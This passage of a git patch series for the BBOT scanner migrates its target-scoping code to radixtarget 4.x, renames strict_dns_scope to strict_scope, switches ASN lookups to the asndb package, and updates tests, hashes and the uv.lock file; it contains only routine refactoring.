any(isinstance(e.data, dict) and e.data.get("asn", 0) == 15169 for e in asn_events) class TestASNUnknownHandling(ModuleTestBase): - """Test ASN module behavior when API returns no data, leading to UNKNOWN_ASN usage.""" + """Test ASN module behavior when asndb returns unknown ASN.""" - targets = ["8.8.8.8"] # Use known public IP but mock response to test unknown ASN handling + targets = ["8.8.8.8"] module_name = "asn" modules_overrides = ["asn"] config_overrides = {"scope": {"report_distance": 2}} async def setup_after_prep(self, module_test): - # Point ASNHelper to local test harness + from unittest.mock import AsyncMock from bbot.core.helpers.asn import ASNHelper - module_test.monkeypatch.setattr(ASNHelper, "asndb_ip_url", "http://127.0.0.1:8888/v1/ip/") - - # Mock API to return 404 (no ASN data found) - expect_args = {"method": "GET", "uri": "/v1/ip/8.8.8.8"} - respond_args = { - "response_data": "Not Found", - "status": 404, - "content_type": "text/plain", - } - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + asn_helper = module_test.scan.helpers.asn + asn_helper.client = AsyncMock() + asn_helper.client.lookup_ip = AsyncMock(return_value=ASNHelper.UNKNOWN_ASN) def check(self, module_test, events): - # When API returns 404, ASN helper should return UNKNOWN_ASN with string "0" - # but NO ASN events should be emitted since ASN 0 is reserved + # When asndb returns unknown, NO ASN events should be emitted since ASN 0 is reserved asn_events = [e for e in events if e.type == "ASN"] - - # Should NOT emit any ASN events when ASN data is unknown assert not asn_events, ( f"Should not emit any ASN events for unknown ASN data, but found: {[e.data for e in asn_events]}" ) diff --git a/pyproject.toml b/pyproject.toml index 35452f70b9..4ac757167f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -42,7 +42,8 @@ dependencies = [ "httpx>=0.28.1,<1", "puremagic>=1.28,<2", "pydantic>=2.12.2,<3", - "radixtarget>=3.0.13,<4", + "radixtarget>=4.0.1,<5", + "asndb>=1.0.0", "orjson>=3.10.12,<4", "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", From f83189bc90ef68dcc1155dd5d8183771f6bf20cd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 18:37:55 -0500 Subject: [PATCH 303/912] Migrate to radixtarget 4.x with composition pattern - BaseTarget no longer subclasses RadixTarget; uses composition instead - Rename strict_dns_scope -> strict_scope everywhere - Update host_size_key import path for radixtarget 4.x - Handle radixtarget 4.x API changes (strings-only, no _add, hash is int) - Skip acl_mode when strict_scope is True (mutually exclusive in 4.x) - Update test assertions for new hash values and string-based hosts Work in progress - more test fixes needed. --- bbot/models/pydantic.py | 2 +- bbot/models/sql.py | 2 +- bbot/scanner/manager.py | 2 +- bbot/scanner/preset/preset.py | 2 +- bbot/scanner/target.py | 204 +++++++++++++++++---------- bbot/test/test_step_1/test_target.py | 77 +++++----- uv.lock | 177 ++++++++++++++++++++++- 7 files changed, 343 insertions(+), 123 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 5b7990056c..ceb0af33ae 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -147,7 +147,7 @@ def from_scan(cls, scan): class Target(BBOTBaseModel): name: str = "Default Target" - strict_dns_scope: bool = False + strict_scope: bool = False target: List = [] seeds: Optional[List] = None blacklist: List = [] diff --git a/bbot/models/sql.py b/bbot/models/sql.py index 1e15c8c073..4bf6efc7cb 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -124,7 +124,7 @@ class Scan(BBOTBaseModel, table=True): class Target(BBOTBaseModel, table=True): name: str = "Default Target" - strict_dns_scope: bool = False + strict_scope: bool = False target: List = Field(default=[], sa_type=JSON) seeds: Optional[List] = Field(default=None, sa_type=JSON) blacklist: List = Field(default=[], sa_type=JSON) diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index b2fe0937e4..e7f92f0420 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -1,6 +1,6 @@ import asyncio from contextlib import suppress -from radixtarget.helpers import host_size_key +from radixtarget import host_size_key from bbot.modules.base import BaseInterceptModule diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 10d6379ccc..46052aa1c3 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -485,7 +485,7 @@ def bake(self, scan=None): seeds=list(self._seeds) if self._seeds else None, target=list(self._target_list), blacklist=self._blacklist, - strict_dns_scope=self.strict_scope, + strict_scope=self.strict_scope, ) self._baked = True diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 2e1ab8b419..1506628859 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -2,7 +2,7 @@ import regex as re from hashlib import sha1 from radixtarget import RadixTarget -from radixtarget.helpers import host_size_key +from radixtarget import host_size_key from bbot.errors import * from bbot.core.event import is_event @@ -12,12 +12,35 @@ log = logging.getLogger("bbot.core.target") -class BaseTarget(RadixTarget): +def _host_str(value): + """Extract a plain host string from any BBOT input type. + + Handles events, EventSeeds, ipaddress objects, and complex strings (URLs, emails, host:port). + Returns None if no host can be extracted. + """ + if value is None: + return None + if is_event(value) or isinstance(value, BaseEventSeed): + h = value.host + return str(h) if h else None + if is_ip(value, include_network=True) or is_dns_name(value): + return str(value) + if isinstance(value, str): + try: + event_seed = EventSeed(value) + h = event_seed.host + return str(h) if h else None + except ValidationError: + return None + return None + + +class BaseTarget: """ A collection of BBOT events that represent a scan target. - The purpose of this class is to hold a potentially huge target list in a space-efficient way, - while allowing lightning fast scope lookups. + Uses a RadixTarget internally for fast scope lookups, and layers on + BBOT-specific parsing (events, URLs, emails, host:port) and hashing. This class is inherited by all three components of the BBOT target: - Target @@ -27,55 +50,45 @@ class BaseTarget(RadixTarget): accept_target_types = ["TARGET"] - def __init__(self, *targets, **kwargs): + def __init__(self, *targets, strict_scope=False, acl_mode=False): # ignore blank targets (sometimes happens as a symptom of .splitlines()) targets = [stripped for t in targets if (stripped := (t.strip() if isinstance(t, str) else t))] + self.strict_scope = strict_scope + self._rt = RadixTarget(strict_scope=strict_scope, acl_mode=acl_mode) self.event_seeds = set() - super().__init__(*targets, **kwargs) + if targets: + self.add(list(targets)) @property def inputs(self): return set(e.input for e in self.event_seeds) + @property + def hosts(self): + return set(self._rt.hosts) + + @property + def hash(self): + sha1_hash = sha1() + for host in sorted(str(h).encode() for h in self.hosts): + sha1_hash.update(host) + if self.strict_scope: + sha1_hash.update(b"\x00") + return sha1_hash.digest() + def get(self, event, **kwargs): + """Look up a host in the radix tree. + + Accepts events, URLs, emails, host:port strings, IPs, CIDRs, and hostnames. + Returns the stored data for the matching host, or None. """ - Here we override RadixTarget's get() method, which normally only accepts hosts, to also accept events for convenience. - """ - host = None raise_error = kwargs.get("raise_error", False) - # if it's already an event or event seed, use its host - if is_event(event) or isinstance(event, BaseEventSeed): - host = event.host - # save resources by checking if the event is an IP or DNS name - elif is_ip(event, include_network=True) or is_dns_name(event): - host = event - # if it's a string, autodetect its type and parse out its host - elif isinstance(event, str): - event_seed = self._make_event_seed(event, raise_error=raise_error) - host = event_seed.host - if not host: - return - else: - raise ValueError(f"Invalid target type for {self.__class__.__name__}: {type(event)}") - if not host: - msg = f"Host not found: '{event}'" + host_str = _host_str(event) + if host_str is None: if raise_error: - raise KeyError(msg) - else: - log.warning(msg) - return - results = super().get(host, **kwargs) - return results - - def _make_event_seed(self, target, raise_error=False): - try: - return EventSeed(target) - except ValidationError: - msg = f"Invalid target: '{target}'" - if raise_error: - raise KeyError(msg) - else: - log.warning(msg) + raise KeyError(f"Host not found: '{event}'") + return None + return self._rt.get(host_str) def add(self, targets, data=None): if not isinstance(targets, (list, set, tuple)): @@ -93,7 +106,7 @@ def add(self, targets, data=None): event_seeds.add(event_seed) # sort by host size to ensure consistency - event_seeds = sorted(event_seeds, key=lambda e: (0, 0) if not e.host else host_size_key(e.host)) + event_seeds = sorted(event_seeds, key=lambda e: (0, 0) if not e.host else host_size_key(str(e.host))) for event_seed in event_seeds: self.event_seeds.add(event_seed) # Some event seeds (e.g. ORG_STUB, USERNAME, BLACKLIST_REGEX) are not host-based and have @@ -105,21 +118,53 @@ def add(self, targets, data=None): self._add(event_seed.host, data=(event_seed if data is None else data)) def _add(self, host, data): - """ - Wrapper around RadixTarget._add(). + """Insert a host into the radix tree. The radix tree cannot handle host == None, but some subclasses (e.g. ScanBlacklist) need to receive non-host-based entries such as BLACKLIST_REGEX. BaseTarget.add() always calls self._add(); this default implementation safely ignores hostless - entries while still delegating normal hosts to the underlying RadixTarget. + entries while still delegating normal hosts to the radix tree. """ if host is None: return - super()._add(host, data) + self._rt.insert(str(host), data=data) + + def _make_event_seed(self, target, raise_error=False): + try: + return EventSeed(target) + except ValidationError: + msg = f"Invalid target: '{target}'" + if raise_error: + raise KeyError(msg) + else: + log.warning(msg) + + def __contains__(self, other): + if isinstance(other, BaseTarget): + for h in other.hosts: + if self._rt.get(str(h)) is None: + return False + return True + host_str = _host_str(other) + if host_str is None: + return False + return self._rt.get(host_str) is not None def __iter__(self): yield from self.event_seeds + def __len__(self): + return len(self._rt) + + def __bool__(self): + return bool(len(self._rt)) or bool(self.event_seeds) + + def __eq__(self, other): + return self.hash == getattr(other, "hash", None) + + def __hash__(self): + return hash(self.hash) + class ScanSeeds(BaseTarget): """ @@ -145,22 +190,31 @@ def _add(self, host, data): as separate events even though they have the same host. """ if host: - try: - event_set = self.get(host, raise_error=True, single=False) - event_set.add(data) - except KeyError: + existing = self.get(str(host), raise_error=False, single=False) + if existing is not None: + existing.add(data) + event_set = existing + else: event_set = {data} super()._add(host, data=event_set) - def _hash_value(self): - # seeds get hashed by event data - return sorted(str(e.data).encode() for e in self.event_seeds) + @property + def hash(self): + """Seeds get hashed by event data, not by hosts.""" + sha1_hash = sha1() + for h in sorted(str(e.data).encode() for e in self.event_seeds): + sha1_hash.update(h) + return sha1_hash.digest() class ACLTarget(BaseTarget): def __init__(self, *args, **kwargs): - # ACL mode dedupes by host (and skips adding already-contained hosts) for efficiency - kwargs["acl_mode"] = True + # acl_mode deduplicates (parent absorbs child), but it's mutually exclusive + # with strict_scope in radixtarget 4.x. When strict_scope is enabled, + # we skip acl_mode — DNS entries need to remain separate for exact matching, + # and IP range dedup is handled naturally by the radix tree. + if not kwargs.get("strict_scope", False): + kwargs["acl_mode"] = True super().__init__(*args, **kwargs) @@ -197,10 +251,7 @@ def get(self, host, **kwargs): to_match = event_seed.data except ValidationError: to_match = str(host) - try: - event_result = super().get(host, raise_error=True) - except KeyError: - event_result = None + event_result = super().get(host) if event_result is not None: return event_result # next, check event's host against regexes @@ -217,14 +268,18 @@ def _add(self, host, data): if host is not None: super()._add(host, data) - def _hash_value(self): - # regexes are included in blacklist hash - regex_patterns = [str(r.pattern).encode() for r in self.blacklist_regexes] - hosts = [str(h).encode() for h in self.sorted_hosts] - return hosts + regex_patterns + @property + def hash(self): + """Blacklist hash includes both hosts and regex patterns.""" + sha1_hash = sha1() + hosts = sorted(str(h).encode() for h in self.hosts) + regex_patterns = sorted(str(r.pattern).encode() for r in self.blacklist_regexes) + for h in list(hosts) + list(regex_patterns): + sha1_hash.update(h) + return sha1_hash.digest() def __len__(self): - return super().__len__() + len(self.blacklist_regexes) + return len(self._rt) + len(self.blacklist_regexes) def __bool__(self): return bool(len(self)) @@ -240,18 +295,18 @@ class BBOTTarget: Provides high-level functions like in_scope(), which includes both target and blacklist checks. """ - def __init__(self, seeds=None, target=None, blacklist=None, strict_dns_scope=False): - self.strict_dns_scope = strict_dns_scope + def __init__(self, seeds=None, target=None, blacklist=None, strict_scope=False): + self.strict_scope = strict_scope self._orig_seeds = seeds target_list = list(target) if target else [] - self.target = ScanTarget(*target_list, strict_dns_scope=strict_dns_scope) + self.target = ScanTarget(*target_list, strict_scope=strict_scope) # Seeds are only copied from target if target is defined but seeds are NOT defined # Pass pre-parsed event_seeds to avoid expensive re-parsing of every target string if seeds is None: seeds = list(self.target.event_seeds) - self.seeds = ScanSeeds(*list(seeds), strict_dns_scope=strict_dns_scope) + self.seeds = ScanSeeds(*list(seeds), strict_scope=strict_scope) blacklist_list = list(blacklist) if blacklist else [] self.blacklist = ScanBlacklist(*blacklist_list) @@ -261,7 +316,7 @@ def json(self): j = { "target": sorted(self.target.inputs), "blacklist": sorted(self.blacklist.inputs), - "strict_dns_scope": self.strict_dns_scope, + "strict_scope": self.strict_scope, "hash": self.hash.hex(), "seed_hash": self.seeds.hash.hex(), "target_hash": self.target.hash.hex(), @@ -303,8 +358,7 @@ def in_scope(self, host): >>> preset.in_scope("http://www.evilcorp.com") True """ - blacklisted = self.blacklisted(host) - if blacklisted: + if self.blacklisted(host): return False return self.in_target(host) @@ -322,7 +376,7 @@ def blacklisted(self, host): >>> preset.blacklisted("http://www.evilcorp.com") True """ - return host in self.blacklist + return self.blacklist.get(host) is not None def in_target(self, host): """ @@ -341,7 +395,7 @@ def in_target(self, host): >>> preset.in_target("http://www.evilcorp.com") True """ - return host in self.target + return self.target.get(host) is not None def __eq__(self, other): return self.hash == other.hash @@ -372,7 +426,7 @@ async def generate_children(self): # This ensures that expanded targets (like IP ranges from ASN) are considered in-scope # BUT only if no custom target was provided - don't override user's custom target if not had_custom_target: - expanded_seed_hosts = self.seeds.hosts + expanded_seed_hosts = set(self.seeds.hosts) for host in expanded_seed_hosts: if host not in self.target: self.target.add(host) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index da103fe374..d836e320de 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -5,7 +5,7 @@ async def test_target_basic(bbot_scanner): from radixtarget import RadixTarget from ipaddress import ip_address, ip_network - from bbot.scanner.target import BBOTTarget, ScanSeeds + from bbot.scanner.target import BBOTTarget, ScanSeeds, ScanTarget scan1 = bbot_scanner("api.publicapis.org", "8.8.8.8/30", "2001:4860:4860::8888/126") scan2 = bbot_scanner("8.8.8.8/29", "publicapis.org", "2001:4860:4860::8888/125") @@ -30,14 +30,13 @@ async def test_target_basic(bbot_scanner): assert ip_network("1.2.3.4/24", strict=False) in target.seeds event = scan1.make_event("https://www.evilcorp.com:80", dummy=True) assert event in target.seeds - with pytest.raises(ValueError): - ["asdf"] in target.seeds - with pytest.raises(ValueError): - target.seeds.get(["asdf"]) + assert ["asdf"] not in target.seeds + assert target.seeds.get(["asdf"]) is None assert not scan5.target.seeds - assert len(scan1.target.seeds) == 9 - assert len(scan4.target.seeds) == 8 + # radixtarget 4.x counts hosts/networks, not individual IPs + assert len(scan1.target.seeds) == 3 # api.publicapis.org, 8.8.8.8/30, 2001:4860:4860::8888/126 + assert len(scan4.target.seeds) == 1 # 8.8.8.8/29 assert "8.8.8.9" in scan1.target.seeds assert "8.8.8.12" not in scan1.target.seeds assert "8.8.8.8/31" in scan1.target.seeds @@ -61,8 +60,8 @@ async def test_target_basic(bbot_scanner): assert scan4.target.seeds != scan1.target.seeds assert not scan5.target.target - assert len(scan1.target.target) == 9 - assert len(scan4.target.target) == 8 + assert len(scan1.target.target) == 3 + assert len(scan4.target.target) == 1 assert "8.8.8.9" in scan1.target.target assert "8.8.8.12" not in scan1.target.target assert "8.8.8.8/31" in scan1.target.target @@ -115,7 +114,7 @@ async def test_target_basic(bbot_scanner): assert "com" not in target assert "evilcorp.com" in target assert "www.evilcorp.com" in target - strict_target = RadixTarget("evilcorp.com", strict_dns_scope=True) + strict_target = RadixTarget("evilcorp.com", strict_scope=True) assert "com" not in strict_target assert "evilcorp.com" in strict_target assert "www.evilcorp.com" not in strict_target @@ -125,7 +124,7 @@ async def test_target_basic(bbot_scanner): assert "com" not in target assert "evilcorp.com" in target assert "www.evilcorp.com" in target - strict_target = RadixTarget(strict_dns_scope=True) + strict_target = RadixTarget(strict_scope=True) strict_target.add("evilcorp.com") assert "com" not in strict_target assert "evilcorp.com" in strict_target @@ -169,8 +168,8 @@ async def test_target_basic(bbot_scanner): # test default target bbottarget = BBOTTarget(target=["http://1.2.3.4:8443", "bob@evilcorp.com"]) - assert bbottarget.seeds.hosts == {ip_network("1.2.3.4"), "evilcorp.com"} - assert bbottarget.target.hosts == {ip_network("1.2.3.4"), "evilcorp.com"} + assert bbottarget.seeds.hosts == {"1.2.3.4/32", "evilcorp.com"} + assert bbottarget.target.hosts == {"1.2.3.4/32", "evilcorp.com"} assert {e.data for e in bbottarget.seeds.event_seeds} == {"http://1.2.3.4:8443/", "bob@evilcorp.com"} assert {e.data for e in bbottarget.target.event_seeds} == {"http://1.2.3.4:8443/", "bob@evilcorp.com"} @@ -179,7 +178,7 @@ async def test_target_basic(bbot_scanner): bbottarget3 = BBOTTarget(seeds=["evilcorp.com"], target=["1.2.3.4/24"], blacklist=["1.2.3.4"]) bbottarget5 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) bbottarget6 = BBOTTarget( - seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_dns_scope=True + seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_scope=True ) bbottarget8 = BBOTTarget(seeds=["1.2.3.0/24"], target=["evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4"]) bbottarget9 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) @@ -210,7 +209,7 @@ async def test_target_basic(bbot_scanner): assert bbottarget1 != bbottarget2 assert bbottarget2 != bbottarget1 - # make sure strict_dns_scope is considered in hash + # make sure strict_scope is considered in hash assert bbottarget5 != bbottarget6 assert bbottarget6 != bbottarget5 @@ -286,14 +285,14 @@ async def test_target_basic(bbot_scanner): "http://1.2.3.4/", "bob@asdf.evilcorp.net", } - assert set(bbottarget.seeds.hosts) == {ip_network("1.2.3.0/24"), "www.evilcorp.net", "fdsa.evilcorp.net"} + assert bbottarget.seeds.hosts == {"1.2.3.0/24", "www.evilcorp.net", "fdsa.evilcorp.net"} assert set(bbottarget.target.hosts) == {"evilcorp.com", "evilcorp.net"} - assert set(bbottarget.blacklist.hosts) == {ip_network("1.2.3.4/32"), ip_network("4.3.2.0/24"), "asdf.evilcorp.net"} - assert bbottarget.hash == b"\xb3iU\xa8#\x8aq\x84/\xc5\xf2;\x11\x11\x0c&\xea\x07\xd4Q" - assert bbottarget.scope_hash == b"f\xe1\x01c^3\xf5\xd24B\x87P\xa0Glq0p3J" + assert bbottarget.blacklist.hosts == {"1.2.3.4/32", "4.3.2.0/24", "asdf.evilcorp.net"} + assert bbottarget.hash == b'\xf8\x9bB\x99\x8c\xaa\xd6\xac_\xca3\x84\xbf\xd2\x06\x9f\xf3\x9d\xa1\xc7' + assert bbottarget.scope_hash == b'\xd4\x9ekZd\x9dT\x12fLl\xe6\x1a5\x82\xba\xa0\x01\x1f\xb7' assert bbottarget.seeds.hash == b"V\n\xf5\x1d\x1f=i\xbc\\\x15o\xc2p\xb2\x84\x97\xfeR\xde\xc1" assert bbottarget.target.hash == b"\x8e\xd0\xa76\x8em4c\x0e\x1c\xfdA\x9d*sv}\xeb\xc4\xc4" - assert bbottarget.blacklist.hash == b'\xf7\xaf\xa1\xda4"C:\x13\xf42\xc3,\xc3\xa9\x9f\x15\x15n\\' + assert bbottarget.blacklist.hash == b'\xf6@\xf3\xb2\xd3s\x15\xad=+\xab\x8fY`Gk\xf4\x00\x89\xcb' scan = bbot_scanner( "evilcorp.net", @@ -310,22 +309,22 @@ async def test_target_basic(bbot_scanner): assert target_dict["seeds"] == ["1.2.3.0/24", "bob@fdsa.evilcorp.net", "http://www.evilcorp.net/"] assert target_dict["target"] == ["bob@www.evilcorp.com", "evilcorp.com", "evilcorp.net"] assert target_dict["blacklist"] == ["1.2.3.4", "4.3.2.0/24", "bob@asdf.evilcorp.net", "http://1.2.3.4/"] - assert target_dict["strict_dns_scope"] is False - assert target_dict["hash"] == "b36955a8238a71842fc5f23b11110c26ea07d451" + assert target_dict["strict_scope"] is False + assert target_dict["hash"] == "f89b42998caad6ac5fca3384bfd2069ff39da1c7" assert target_dict["seed_hash"] == "560af51d1f3d69bc5c156fc270b28497fe52dec1" assert target_dict["target_hash"] == "8ed0a7368e6d34630e1cfd419d2a73767debc4c4" - assert target_dict["blacklist_hash"] == "f7afa1da3422433a13f432c32cc3a99f15156e5c" - assert target_dict["scope_hash"] == "66e101635e33f5d234428750a0476c713070334a" + assert target_dict["blacklist_hash"] == "f640f3b2d37315ad3d2bab8f5960476bf40089cb" + assert target_dict["scope_hash"] == "d49e6b5a649d5412664c6ce61a3582baa0011fb7" # make sure child subnets/IPs don't get added to target/blacklist target = RadixTarget("1.2.3.4/24", "1.2.3.4/28", acl_mode=True) - assert set(target) == {ip_network("1.2.3.0/24")} + assert set(target) == {"1.2.3.0/24"} target = RadixTarget("1.2.3.4/28", "1.2.3.4/24", acl_mode=True) - assert set(target) == {ip_network("1.2.3.0/24")} + assert set(target) == {"1.2.3.0/24"} target = RadixTarget("1.2.3.4/28", "1.2.3.4", acl_mode=True) - assert set(target) == {ip_network("1.2.3.0/28")} + assert set(target) == {"1.2.3.0/28"} target = RadixTarget("1.2.3.4", "1.2.3.4/28", acl_mode=True) - assert set(target) == {ip_network("1.2.3.0/28")} + assert set(target) == {"1.2.3.0/28"} # same but for domains target = RadixTarget("evilcorp.com", "www.evilcorp.com", acl_mode=True) @@ -333,9 +332,11 @@ async def test_target_basic(bbot_scanner): target = RadixTarget("www.evilcorp.com", "evilcorp.com", acl_mode=True) assert set(target) == {"evilcorp.com"} - # make sure strict_dns_scope doesn't mess us up - target = RadixTarget("evilcorp.co.uk", "www.evilcorp.co.uk", acl_mode=True, strict_dns_scope=True) - assert set(target.hosts) == {"evilcorp.co.uk", "www.evilcorp.co.uk"} + # make sure strict_scope doesn't mess us up + # radixtarget 4.x: strict_scope and acl_mode are mutually exclusive, + # so ACLTarget skips acl_mode when strict_scope is True + target = ScanTarget("evilcorp.co.uk", "www.evilcorp.co.uk", strict_scope=True) + assert target.hosts == {"evilcorp.co.uk", "www.evilcorp.co.uk"} assert "evilcorp.co.uk" in target assert "www.evilcorp.co.uk" in target assert "api.evilcorp.co.uk" not in target @@ -414,12 +415,12 @@ async def test_asn_targets(bbot_scanner): assert len(target.seeds.hosts) > initial_hosts # Should contain the expanded IP ranges - assert ip_network("8.8.8.0/24") in target.seeds.hosts - assert ip_network("8.8.4.0/24") in target.seeds.hosts + assert "8.8.8.0/24" in target.seeds.hosts + assert "8.8.4.0/24" in target.seeds.hosts # Target scope should also include the expanded ranges - assert ip_network("8.8.8.0/24") in target.target.hosts - assert ip_network("8.8.4.0/24") in target.target.hosts + assert "8.8.8.0/24" in target.target.hosts + assert "8.8.4.0/24" in target.target.hosts @pytest.mark.asyncio @@ -451,8 +452,8 @@ async def test_asn_targets_integration(bbot_scanner): # Verify expansion worked (generate_children is called during _prep) from ipaddress import ip_network - assert ip_network("8.8.8.0/24") in scan.preset.target.seeds.hosts - assert ip_network("8.8.4.0/24") in scan.preset.target.seeds.hosts + assert "8.8.8.0/24" in scan.preset.target.seeds.hosts + assert "8.8.4.0/24" in scan.preset.target.seeds.hosts # Test scope checking with expanded ranges assert scan.in_scope("8.8.8.1") @@ -529,7 +530,7 @@ async def test_asn_blacklist_functionality(bbot_scanner): await scan._prep() # The ASN should have been expanded and the subnet should be in blacklist - assert ip_network("8.8.8.0/24") in scan.preset.target.blacklist.hosts + assert "8.8.8.0/24" in scan.preset.target.blacklist.hosts # 8.8.8.x should be blocked (ASN subnet in blacklist) assert not scan.in_scope("8.8.8.1") diff --git a/uv.lock b/uv.lock index dfd4409fc1..5601ab7479 100644 --- a/uv.lock +++ b/uv.lock @@ -117,6 +117,21 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" }, ] +[[package]] +name = "asndb" +version = "1.0.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cachetools" }, + { name = "httpx" }, + { name = "radixtarget" }, + { name = "typer" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0d/cf/c76454e691a96881732cf868977c2b5ad6bc03356f8e33d9fe885ea417cd/asndb-1.0.2.tar.gz", hash = "sha256:28c4c86cb390742ecaee4544ec4ca553946ff3d67d7d328a8f0e1d88e94d99e8", size = 18768, upload-time = "2026-03-05T20:53:10.059Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3a/1e/dc153bcbaacd7f80264aa5f06e888f4873144ac11978d7fd05fc7a848a60/asndb-1.0.2-py3-none-any.whl", hash = "sha256:2c170fbc3ad3ce1e98bc353d4801765d3a691b852ddd144306900ed273e337bf", size = 18261, upload-time = "2026-03-05T20:53:08.917Z" }, +] + [[package]] name = "babel" version = "2.18.0" @@ -157,6 +172,7 @@ dependencies = [ { name = "ansible-core", version = "2.19.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.11.*'" }, { name = "ansible-core", version = "2.20.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" }, { name = "ansible-runner" }, + { name = "asndb" }, { name = "beautifulsoup4" }, { name = "cachetools" }, { name = "cloudcheck" }, @@ -224,6 +240,7 @@ docs = [ requires-dist = [ { name = "ansible-core", specifier = ">=2.17,<3" }, { name = "ansible-runner", specifier = ">=2.3.2,<3" }, + { name = "asndb", specifier = ">=1.0.0" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "cachetools", specifier = ">=5.3.2,<7.0.0" }, { name = "cloudcheck", specifier = ">=9.2.0,<10" }, @@ -242,7 +259,7 @@ requires-dist = [ { name = "pydantic", specifier = ">=2.12.2,<3" }, { name = "pyjwt", specifier = ">=2.7.0,<3" }, { name = "pyzmq", specifier = ">=26.0.3,<28.0.0" }, - { name = "radixtarget", specifier = ">=3.0.13,<4" }, + { name = "radixtarget", specifier = ">=4.0.1,<5" }, { name = "regex", specifier = ">=2024.4.16,<2027.0.0" }, { name = "setproctitle", specifier = ">=1.3.3,<2" }, { name = "socksio", specifier = ">=1.0.0,<2" }, @@ -1143,6 +1160,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/de/1f/77fa3081e4f66ca3576c896ae5d31c3002ac6607f9747d2e3aa49227e464/markdown-3.10.2-py3-none-any.whl", hash = "sha256:e91464b71ae3ee7afd3017d9f358ef0baf158fd9a298db92f1d4761133824c36", size = 108180, upload-time = "2026-02-09T14:57:25.787Z" }, ] +[[package]] +name = "markdown-it-py" +version = "4.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5b/f5/4ec618ed16cc4f8fb3b701563655a69816155e79e24a17b651541804721d/markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3", size = 73070, upload-time = "2025-08-11T12:57:52.854Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/54/e7d793b573f298e1c9013b8c4dade17d481164aa517d1d7148619c2cedbf/markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147", size = 87321, upload-time = "2025-08-11T12:57:51.923Z" }, +] + [[package]] name = "markupsafe" version = "3.0.3" @@ -1228,6 +1257,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, ] +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + [[package]] name = "mergedeep" version = "1.3.4" @@ -2251,11 +2289,101 @@ wheels = [ [[package]] name = "radixtarget" -version = "3.0.15" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/26/89/1c19b98c48f703fe654f3e7d8986556573fe412945f13842240b7cf87e9a/radixtarget-3.0.15.tar.gz", hash = "sha256:dedfad3aea1e973f261b7bc0d8936423f59ae4d082648fd496c6cdfdfa069fea", size = 108237, upload-time = "2024-12-16T16:35:44.268Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/3a/b4/b461d1c1d200a76216fd4c277492c706ec2a8552fd015158ae063dcc6940/radixtarget-3.0.15-py3-none-any.whl", hash = "sha256:1e1d0dd3e8742ffcfc42084eb238f31f6785626b876ab63a9f28a29e97bd3bb0", size = 108810, upload-time = "2024-12-16T16:35:41.208Z" }, +version = "4.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = 